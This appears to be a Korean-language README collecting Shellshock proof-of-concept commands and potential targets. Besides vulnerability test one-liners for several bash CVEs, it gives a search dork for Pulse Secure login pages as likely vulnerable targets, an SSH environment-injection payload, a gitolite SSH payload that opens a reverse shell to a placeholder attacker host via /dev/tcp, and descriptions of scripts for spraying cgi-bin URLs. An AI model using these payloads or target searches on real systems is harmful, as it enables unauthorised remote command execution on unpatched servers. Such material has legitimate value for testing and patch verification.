
#ShellShocker를 위한 PoC 및 잠재적 대상 모음
=================
#ShellShocker를 위한 개념 증명(PoC) 및 잠재적 대상 모음
Wikipedia 링크: https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
더 많은 링크나 다른 리소스가 있으면 풀 리퀘스트를 제출해 주세요.
추정:(미확인, 취약할 가능성 있음)
inurl:inurl:/dana-na/auth/url_default/welcome.cgi
이 중 어떤 것에 대한 PoC를 알고 있다면 링크와 함께 이슈 또는 풀 리퀘스트를 제출해 주세요.
env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id취약한 경우 현재 작업 디렉터리에 날짜가 포함된 echo라는 파일을 생성합니다.
env X='() { (a)=>\' bash -c "echo date"; cat echobash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c :취약한 경우 세그폴트(segfault)가 발생합니다.
env X='() { x() { _; }; x() { _; } <<a; }' bash -c :LC_X='() { :; }; echo vulnerable' ssh [email protected] -o SendEnv=LC_Xssh GITOLITEUSER@VULNERABLEIP '() { ignore;}; /bin/bash -i >& /dev/tcp/REVERSESHELLIP/PORT 0>&1'user@localhost:~$ env X='() { (a)=>\' /bin/bash -c "shellshocker echo -e \" __ __\n / V \ \n _ | | |\n / \ | | |\n | | | | |\n | | | | |\n | |__| | |\n | | \ |___|___\n | \ |/ \ \n | | |______ |\n | | | |\n | \__' / |\n \ \( /\n \ /\n \| |\n\""; cat shellshocker
/bin/bash: X: line 1: syntax error near unexpected token `='
/bin/bash: X: line 1: `'
/bin/bash: error importing function definition for `X'
__ __
/ V \
_ | | |
/ \ | | |
| | | | |
| | | | |
| |__| | |
| | \ |___|___
| \ |/ \
| | |______ |
| | | |
| \__' / |
\ \( /
\ /
\| |
shell_shocker.py - 알려진 취약한 URL과 상호작용하여 명령을 전달하는 데 유용 (User-Agent 방식)w3af_shocker.py - w3af 스파이더/shell_shock 스캔 실행 과정을 자동화 (User-Agent 방식)shell_sprayer.py - 파일의 URL 목록 또는 단일 URL을 알려진 cgi-bin 리소스 목록과 대조하여 검사 (User-Agent 방식)